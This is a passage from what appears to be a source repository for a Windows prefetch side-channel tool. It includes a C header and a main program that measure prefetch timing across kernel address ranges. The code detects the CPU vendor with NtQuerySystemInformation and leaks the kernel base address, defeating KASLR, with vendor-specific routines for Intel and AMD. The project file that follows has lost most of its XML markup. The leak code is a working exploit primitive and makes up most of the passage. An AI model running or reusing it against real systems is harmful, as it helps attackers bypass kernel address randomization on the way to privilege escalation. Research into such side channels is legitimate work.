512 | UINT32 arr_size = ARR_SIZE; 513 | avg = total_for_avg / arr_size; 514 | //printf("total for avg: %i\n", total_for_avg); 515 | //printf("array size: %i\n", ARR_SIZE); 516 | //printf("avg for all: %i\n", avg); 517 | 518 | for (UINT64 i = 0; i < ARR_SIZE - KERNEL_SECTIONS; i++) 519 | { 520 | if (is_below_average(data[i])) 521 | { 522 | BOOL possible = TRUE; 523 | for (UINT64 x = 0; x < KERNEL_SECTIONS; x++) 524 | { 525 | if (!is_below_average(data[i + x])) { 526 | possible = FALSE; 527 | } 528 | } 529 | if (possible) 530 | { 531 | return KERNEL_LOWER_BOUND + ((i + 4) * STEP); 532 | //printf("Possible kernel base: %p\n", KERNEL_LOWER_BOUND + ((i + 4) * STEP)); 533 | } 534 | } 535 | } 536 | return 0; 537 | } 538 | 539 | UINT64 leak_kernel_base_intel_reliable() 540 | { 541 | UINT64 prev_leak = leak_kernel_base_intel(); 542 | UINT64 kernel_base = 0; 543 | while (1) 544 | { 545 | UINT64 cur_leak = leak_kernel_base_intel(); 546 | if (cur_leak == 0) { 547 | printf("leak failed, trying again...\n"); 548 | continue; 549 | } 550 | if (cur_leak == prev_leak) 551 | { 552 | kernel_base = cur_leak; 553 | break; 554 | } 555 | 556 | 557 | printf("Kernel base leaks don't match (prev: %p cur: %p), retrying...\n", prev_leak, cur_leak); 558 | prev_leak = cur_leak; 559 | } 560 | 561 | return kernel_base; 562 | } 563 | 564 | VOID print_timings() 565 | { 566 | ULONG x = 0; 567 | 568 | UINT64 data[ARR_SIZE] = { 0 }; 569 | UINT64 min = ~0, addr = ~0; 570 | 571 | for (UINT64 i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) 572 | { 573 | for (UINT64 idx = 0; idx < ARR_SIZE; idx++) 574 | { 575 | UINT64 test = SCAN_START + idx * STEP; 576 | bad_syscall(); 577 | UINT64 time = sidechannel((PVOID)test); 578 | if (i >= DUMMY_ITERATIONS) 579 | data[idx] += time; 580 | } 581 | } 582 | UINT32 total_for_avg = 0; 583 | 584 | for (UINT64 i = 0; i < ARR_SIZE; i++) 585 | { 586 | data[i] /= ITERATIONS; 587 | if (data[i] < min) 588 | { 589 | min = data[i]; 590 | addr = SCAN_START + (i * STEP); 591 | } 592 | total_for_avg += data[i]; 593 | printf("%llx %ld\n", (KERNEL_LOWER_BOUND + (i * STEP)), data[i]); 594 | } 595 | 596 | avg = total_for_avg / ARR_SIZE; 597 | 598 | printf("avg: %i\n", avg); 599 | 600 | return 0; 601 | } 602 | 603 | 604 | typedef enum _CPU_VENDOR { 605 | CpuUnknown, 606 | CpuIntel, 607 | CpuIntelN200, 608 | CpuAmd, 609 | CpuAmdMobile 610 | } CPU_VENDOR; 611 | 612 | CPU_VENDOR determine_cpu_vendor() 613 | { 614 | NTSTATUS status = 0; 615 | ULONG returned_len; 616 | CHAR brand_string[0x100] = { 0 }; 617 | 618 | status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)105, brand_string, sizeof(brand_string), &returned_len); 619 | if (status != 0) 620 | { 621 | printf("Failed to get processor brand string!\n"); 622 | return CpuUnknown; 623 | } 624 | printf("Processor: %s\n", brand_string); 625 | 626 | if (strstr(brand_string, "Intel")) 627 | { 628 | if (strstr(brand_string, "N200")) 629 | { 630 | return CpuIntelN200; 631 | } 632 | return CpuIntel; 633 | } 634 | 635 | if (strstr(brand_string, "AMD")) 636 | { 637 | if (strstr(brand_string, "Mobile")) 638 | { 639 | return CpuAmdMobile; 640 | } 641 | return CpuAmd; 642 | } 643 | 644 | return CpuUnknown; 645 | } 646 | 647 | UINT64 leak_kernel_base_reliable() 648 | { 649 | CPU_VENDOR vendor = determine_cpu_vendor(); 650 | UINT64 kernel_base = 0; 651 | if (vendor == CpuAmd) 652 | { 653 | kernel_base = leak_kernel_base_amd_reliable(); 654 | } 655 | else if (vendor == CpuAmdMobile) 656 | { 657 | kernel_base = leak_kernel_base_amd_mobile_reliable(); 658 | } 659 | else if (vendor == CpuIntel) 660 | { 661 | kernel_base = leak_kernel_base_intel_reliable(); 662 | } 663 | else if (vendor == CpuIntelN200) 664 | { 665 | kernel_base = leak_kernel_base_intel_n200_reliable(); 666 | } 667 | else 668 | { 669 | printf("Unknown CPU vendor!\n"); 670 | return 0; 671 | } 672 | 673 | return kernel_base; 674 | } 675 | 676 | 677 | #endif 678 | -------------------------------------------------------------------------------- /prefetch_tool/prefetch_tool.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "prefetch_leak.h" 3 | 4 | typedef enum PREFETCH_OPERATION { 5 | LeakKernelBase, 6 | PrintTimings 7 | } PREFETCH_OPERATION; 8 | 9 | int main(int argc, char** argv) 10 | { 11 | PREFETCH_OPERATION op = LeakKernelBase; 12 | 13 | if (argc > 1) 14 | { 15 | for (int i = 1; i < argc; i++) 16 | { 17 | if (strcmp(argv[i], "--print-timings") == 0 || strcmp(argv[i], "-pt") == 0) 18 | { 19 | op = PrintTimings; 20 | } 21 | } 22 | } 23 | 24 | switch (op) { 25 | case LeakKernelBase: 26 | printf("Kernel base: %p\n", leak_kernel_base_reliable()); 27 | break; 28 | case PrintTimings: 29 | print_timings(); 30 | break; 31 | } 32 | 33 | return 0; 34 | } -------------------------------------------------------------------------------- /prefetch_tool/prefetch_tool.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {a46c9a13-145e-42c0-8ca6-cc920bf1d9f1} 25 | prefetchtool 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | Level3 77 | true 78 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 79 | true 80 | 81 | 82 | Console 83 | true 84 | 85 | 86 | 87 | 88 | Level3 89 | true 90 | true 91 | true 92 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | 95 | 96 | Console 97 | true 98 | true 99 | true 100 | 101 | 102 | 103 | 104 | Level3 105 | true 106 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 107 | true 108 | 109 | 110 | Console 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | true 119 | true 120 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | MultiThreaded 123 | 124 | 125 | Console 126 | true 127 | true 128 | true 129 | $(ProjectDir)ntdll.lib;%(AdditionalDependencies) 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | Document 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /prefetch_tool/prefetch_tool.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | 23 | 24 | Source Files 25 | 26 | 27 | 28 | 29 | Source Files 30 | 31 | 32 | --------------------------------------------------------------------------------